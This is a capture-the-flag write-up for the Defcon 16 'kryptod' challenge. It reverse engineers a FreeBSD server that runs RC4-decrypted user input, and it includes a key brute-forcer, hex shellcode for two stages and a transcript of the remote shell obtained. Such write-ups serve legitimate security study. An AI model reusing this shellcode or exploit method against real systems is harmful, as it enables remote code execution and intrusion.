None
kryptod
Defcon16 - crypto

This Defcon 16 (2008) challenge came without flavor text, just a binary in need of some remote code execution. A quick check w/ file and checksec show a 32-bit FreeBSD binary with symbols. That never happens! We'll take advantage of that pretty soon!


$ file kryptod
kryptod: ELF 32-bit LSB  executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 6.3, not stripped

$ checksec.sh --file kryptod
RELRO		STACK CANARY	NX		PIE	RPATH		RUNPATH		FILE
No RELRO	No canary found	NX enabled	No PIE	No RPATH	No RUNPATH	kryptod

$ ldd kryptod
kryptod:
	libcrypto.so.4 => /lib/libcrypto.so.4 (0x2806a000)
	libc.so.6 => /lib/libc.so.6 (0x281f5000)

...and it looks like some crypto!


I like to execute random and untrusted binaries as soon as possible, on a virtual machine with syscall tracing. Unfortunately, strace basically doesn't work on FreeBSD, but truss provides a neat replacement (although it turned out unnecessary this time). Getting "kryptod" up and running requires creating a "krypto" user, adding a key file (echo -n 'data from ~/key' > /home/krypto/key), installing openssl, then running it as root where it shows up on port 20020. Great; let's send it some data!

$ echo '' | nc 192.168.56.107 20020 | xxd
0000000: 6461 7461 2066 726f 6d20 7e2f 6b65 79    data from ~/key

$ echo -n '' | nc 192.168.56.107 20020 | xxd

$ echo '1' | nc 192.168.56.107 20020 | xxd
0000000: 0b00 00c0                                ....

$ echo -n '1' | nc 192.168.56.107 20020 | xxd

$ echo '2' | nc 192.168.56.107 20020 | xxd
0000000: 0a00 00c0                                ....

$ echo '3' | nc 192.168.56.107 20020 | xxd
0000000: 0a00 00c0                                ....

$ echo '4' | nc 192.168.56.107 20020 | xxd
0000000: 0b00 00c0                                ....

The blackbox test tells us 3 things. First, it appears that newlines matter - we got no response without one. Second, an empty input got us the keyfile data (which was apparently unimportant in production). Third, our input affects the response in an unusual and currently unintelligible way. That tells us it is time to crack open IDA Pro and take a closer look at exactly what's happening - unstripped symbols will make this a lot easier

Kryptod starts normally enough; setup a signal handlers, drop root privileges, and call a loop function. Dig into that loop function shows...

...a prototypical forking socket server. That's very common in CTFs since crashing/exploiting forked processes won't affect the core daemon. One unusal instruction, call [ebp+arg_4], stands out as an obvious function pointer though. A quick glance back at _start shows arg_4 to be a pointer to the handler function, so each connection will be forked and execute "handler".

The handler functionis the heart of the program with two important subroutines. First, a local file is read into memory (/home/krypto/key). Second, we see a call to _RC4_set_key and _RC4 (exported from libcrypto).

 

readUntil takes a bunch of parameters, but the two we care about are length (0x3F) and terminator (0xA == '\n'). So that's why echo -n '' didn't get a response; readUntil looped until the socket disconnected. The left branch (nbytes < 1) occurs when 0 bytes were transmitted and causes the program to print out the key buffer (nothing interesting to see there). The right branch (nbytes > 0) is much more interesting though.

1. RC4_set_key(&key, strlen(user_input), user_input);
2. RC4(&key, 0x20, 'A'*0x20, &decrypted_buffer);
3. alarm(2);
4. rval = ((void*())decrypted_buffer)() // execute the decrypted buffer
5. alarm(0);
6. sendAll(fd,rval,4)
7. exit(0)

The code uses our input as the RC4 decryption key (or encryption key, depending on perspective) for 32 letters 'A's. A 2 second SIGALRM timer is set then the decrypted buffer is executed as raw assembly. The previous alarm is then canceled (assuming execution took under 2 seconds) and the result of execution is transmitted back to the user. Finally, the process terminates. A check of the signal handler's code ("sig") reveals it terminates the program as well, limiting any shellcode to 2s of execution.

Trying to naively find an RC4 key that "decrypts" 'A'*0x20 into valid x86 shellcode turns out to take a very long time for even short shellcode. Several quick experiments suggested it is O(2^n) -> 32-byte shellcode = 2^(8*32) = 2^256 attempts ~= forever. While futilely running just such a brute force, stepping through the code just before RC4_set_key revealed that "repne scasb" (strlen in x86) both limited the RC4 key to the pre-NULL portion of our buffer and left edi pointing to any post-NULL data (given readUntil terminates on '\n' and not '\x00'). This gives the option of pairing a short key with some shellcode joined by '\x00', if it were possible to pick an RC4 key to "decrypt" 'A'*0x20 into 'jmp edi' (or equivalent). Fortunately, 'jmp edi' assembles to 2-byte, '\xff\xe7', which fell quickly to a brute force attack (on the order of 2^(8*2) = 65536 ~= instantly)

def RC4shaper(target):
    import itertools
    data = 'A'*0x20
    if len(target) > len(data): raise Exception('target error: buffer too small')
    data = data[:len(target)]
    for keylen in xrange(1,10):
        for key in itertools.product(*[xrange(1,256)]*keylen):
            key = ''.join([chr(i) for i in key])
            out = RC4.new(key).encrypt(data)
            if out == target: return key
    raise Exception('target error: no key found')

The next problem was the length limitation - shellcode could be only up to 29-bytes (32 - len('\x00') - len('\xff\xe7')) and it takes ~23 bytes just to call execve and dup2ing the socket is needed for an interactive shell. A two stage shellcode resolves the problem nicely though, especially since the socket is stored on the uncorrupted stack (ebp+8). (edit: 0x3f bytes are actually read providing 60-bytes of shellcode space - an optimized version of the github code would fit into this space and eliminate the need for a 2nd stage)

Resolving the above problems is enough to get a remote shell, but it only survives for 2s. This problem can be sidestepped by forking the execution (again), calling alarm(0) (disables all pending alarms), or calling sigignore(SIGALRM). Enjoy a long-lasting remote shell!


Successful Execution

$ python solve.py  
Preparing Payloads
- stage0 e(ffe7)
- stage0 2211
- stage1 31c08b5d08b9c0a60408ba088a0408506a7f5153ffd2ffe1
- stage2 6a0ebb10072528ffd331c98b5d085153b05a50cd804183f90475f331c050686e2f7368682f2f626989e35089e25389e1505153b03b50cd80

Connecting to Target
- sending stage0 + stage1
- sending stage2

Going Interactive
--- netcat mode enabled ---
> ls
key
> cat key
data from ~/key
> !quit
--- netcat mode disabled ---

Kryptod Binary
Code on Github

- Kelson (kelson@shysecurity.com)